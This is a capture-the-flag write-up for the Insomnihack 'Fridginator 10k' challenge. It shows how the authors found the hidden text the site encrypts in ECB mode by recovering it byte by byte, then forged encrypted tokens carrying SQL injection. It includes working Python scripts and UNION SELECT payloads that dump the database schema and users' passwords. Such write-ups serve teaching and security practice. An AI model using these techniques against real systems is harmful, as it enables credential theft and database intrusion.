Outils pour utilisateurs

Outils du site


ctf:public:insomnihack:fridginator_10k

Fridginator 10k - Writeup by Vob & Maxima

Challenge

My brother John just bought this high-tech fridge which is all flashy and stuff, but has also added some kind of security mechanism which means I can't steal his food anymore… I'm not sure I can survive much longer without his amazing yoghurts. Can you find a way to steal them for me?

The fridge is at http://fridge.insomnihack.ch


Content

  • Main page : Forms to search users by name or food by description.
  • Add food page : Form to add food in the fridge.

Solution

Searching for user or food sends a POST request which returns a 302 HTTP response and redirects us to fridge.insomnihack.ch/search/<encrypted data>

Find what data is encrypted and how

Encrypted data is a string of hexadecimal characters and its size is a multiple of 32, depending on the length of the input.

Let's see how post input impact encrypted data :

Post input Encrypted data
67d4b8f78c33d07cbdc7293b9cd93b8 f37231e5001982893f5c3a6494d14bbba
0 05f2991e77533106da6927a32ce36cd 2edf9f3d38aed24cd1f02a6a184c21228
000000000000 6e130d7a3d1b19264fd4a7843786687 8f341304a70b10923f96cea16dff0d28e
0000000000000 6e130d7a3d1b19264fd4a7843786687 849da595ff723820a42127110b3382cdf b9719c83f5ab5c0751937a39150c920d
0000000000000000000000000000 6e130d7a3d1b19264fd4a7843786687 80ab9a3af88f92a06a3dc55ef8ccd8c27 f341304a70b10923f96cea16dff0d28e
00000000000000000000000000000 6e130d7a3d1b19264fd4a7843786687 80ab9a3af88f92a06a3dc55ef8ccd8c27 49da595ff723820a42127110b3382cdf b9719c83f5ab5c0751937a39150c920d

Therefore :

  • for length of post input from 0 to 12, encrypted data's length is 64 = 2 * 32
  • for length of post input from 13 + k*16 to 12 + (k+1)*16 (k in 0..inf), encrypted data's length is (2 + k) * 32

We can then deduce that the encryption function splits its input in segments of 16 bytes and encrypts each segment separately, giving 16 bytes each (32 hexadecimal characters).

Moreover if post input is empty, encrypted data is 2 * 32 long. Thereby our input seems to be concatenated with another string before being encrypted, and the length of this other string is between 17 and 32 bytes.

Finally, the increase of the size of encrypted data between a 12 bytes long input and a 13 bytes long input tells us that the other string length is n = p * 16 + 20.

These two last piece of information permit to conclude that the additional string is 20 bytes long. Nevertheless additional bytes may be put before and/or after our input and we need to find out how they are spread.

If we put a lot of bytes (ex: 44 = 2 * 32 + (32 - 20)) we see that the same 32-char-long pattern appears many times in the encrypted data. Therefore we deduce that blocks are treated independently, pretty much like the ECB mode of operation.

Then to find out how many bytes are placed before our input, we put 12 = 32 - 20 identical bytes in our input and decrease this amount until the first block of encrypted data changes.

Post input Encrypted data
000000000000 6e130d7a3d1b19264fd4a78437866878 f341304a70b10923f96cea16dff0d28e
000000000 6e130d7a3d1b19264fd4a78437866878 d9cc5ea47c14d6fb630320a5dfa0bbca
00000000 6905cb9516f466147f86a7411214b969 2382d56aaa1da1443945aa5a7f7ea255

According to the results, 7 = 16-9 bytes are concatenated before our input, so 13 bytes are concatenated after.

Let's summarize :

  • We send <post input>
  • <input> is created as follow : <input> = <before> + <post input> + <after>
  • <before> and <after> are 7 and 13 bytes long respectively
  • <input> is split in 16 bytes long strings
  • Each part is encrypted independently from each other

Let's write <after> = a(1) + … + a(13). We will determine a(1) first. The idea is to encrypt something like 15*x + a(1) and then to encrypt 15*x + y for various y until its encryption is equal to the encrypt in of 15*x + a(1), where x is any byte.

Post input Input Encrypted data
9 * '0' + 15 * '0' (<before> + 9 * '0') + (15 * '0' + a(1)) + (a(2:n)) 6e130d7a3d1b19264fd4a78437866878 71925c1b01ea1ad84ba774bce2c4b289 2382d56aaa1da1443945aa5a7f7ea255
9 * '0' + 15 * '0' + '|' (<before> + 9 * '0') + (15 * '0' + '|') + (<after>) 6e130d7a3d1b19264fd4a78437866878 71925c1b01ea1ad84ba774bce2c4b289 d9cc5ea47c14d6fb630320a5dfa0bbca

We wrote a simple python script:

#!/usr/bin/env python3
import itertools
import re
import requests
import string
 
 
def get_token(html):
    match = re.search(r"name='csrfmiddlewaretoken' value='([^']+)'", html)
    return match.group(1)
 
url = 'http://fridge.insomnihack.ch'
csrf_token = 'csrfmiddlewaretoken'
s = requests.Session()
 
r = s.get(url + '/login?next=/')
r = s.post(url + '/login/',
           data={csrf_token: get_token(r.text), 'username': 'pony7', 'password': 'qbool'},
           headers={'referer': 'http://fridge.insomnihack.ch/login?next=/'})
 
def search(text):
    r = s.get(url)
    r = s.post(url + '/food/',
               data={csrf_token: get_token(r.text), 'term': text},
               allow_redirects=False)
    assert 'next=' not in r.headers['location']
    return r.headers['location'][8:-1]
 
 
found = b''
for _ in range(13):
    encrypted = search(b'1' * 9 + b'0' * (15 - len(found)))
 
    # try all printable characters, then all possible bytes
    for c in itertools.chain(map(ord, string.printable), range(256)):
        co = bytes([c])
        print('\rTrying %r' % co, end='')
 
        attempt = search(b'1' * 9 + b'0' * (15 - len(found)) + found + co)
        if attempt[32:63] == encrypted[32:63]:
            print('\rFound %r' % co)
            found += co
            break
 
print('Found %r' % found)

After a while we found out that <after> = '|type=object\x01'. Using the same approach on the form to search users, we found <after> = '|type=user'


The flaw

By updating the last character in the URL, we got a SQL error:

Error : no such table: objsearch_ 

We guessed that the SQL request was something like SELECT * FROM objsearch_$type WHERE ..=$search. We wanted to produce <encrypted data> such that type contains a SQL injection.

Because we don't know the algorithm used to encrypt queries, we need to make the server encrypt ours, but the server also encrypts <before> and <after>. Moreover if we only send our own |type=object UNION .. the server only take into account the last one which is in <after> = |type=object.

The idea is then to make the server encrypt <after> in its own 16 chars long block and to remove it from GET query. To enforce <after> to be in its own block we add enough \x0* after our query to have (7 + len(<post input>)) % 16 = 0.


The SQL injection

Now that we can forge any request, we will encrypt a SQL injection. We first tried:

|type=object UNION SELECT 1 UNION SELECT 1 FROM objsearch_user
|type=object UNION SELECT 1,2 UNION SELECT 1,2 FROM objsearch_user
|type=object UNION SELECT 1,2,3 UNION SELECT 1,2,3 FROM objsearch_user
|type=object UNION SELECT 1,2,3,4 UNION SELECT 1,2,3,4 FROM objsearch_user
|type=object UNION SELECT 1,2,3,4,5 UNION SELECT 1,2,3,4,5 FROM objsearch_user

The last one finally returned something, so we know that 5 columns are selected. I dumped the schema using:

|type=object UNION SELECT 1,name,sql,4,5 FROM sqlite_master UNION SELECT 1,2,3,4,5 FROM objsearch_user

Then I dumped all users and passwords using:

|type=object UNION SELECT 1,username,password,4,5 FROM objsearch_user UNION   SELECT 1,2,3,4,5 FROM objsearch_user

Here is my python code:

#!/usr/bin/env python3
import re
import requests
 
 
def get_token(html):
    match = re.search(r"name='csrfmiddlewaretoken' value='([^']+)'", html)
    return match.group(1)
 
url = 'http://fridge.insomnihack.ch'
csrf_token = 'csrfmiddlewaretoken'
s = requests.Session()
 
r = s.get(url + '/login?next=/')
r = s.post(url + '/login/',
           data={csrf_token: get_token(r.text), 'username': 'pony7', 'password': 'qbool'},
           headers={'referer': 'http://fridge.insomnihack.ch/login?next=/'})
 
def search(text):
    r = s.get(url)
    r = s.post(url + '/food/',
               data={csrf_token: get_token(r.text), 'term': text},
               allow_redirects=False)
    assert 'next=' not in r.headers['location']
    return r.headers['location'][8:-1]
 
 
def inject_sql(sql):
    padding = 16 - (7 + len(sql)) % 16
    sql += bytes([padding] * padding)
    code = search(sql)[:-32]
 
    r = s.get(url)
    r = s.get(url + '/search/' + code)
    return r.text
 
print(inject_sql(b'|type=object UNION SELECT 1,name,sql,4,5 FROM sqlite_master UNION SELECT 1,2,3,4,5 FROM objsearch_user'))
print(inject_sql(b'|type=object UNION SELECT 1,username,password,4,5 FROM objsearch_user UNION SELECT 1,2,3,4,5 FROM objsearch_user'))

We finally got John's password and it was enough to get the flag.

Authors

ctf/public/insomnihack/fridginator_10k.txt · Dernière modification: 2016/10/15 20:12 par arthaum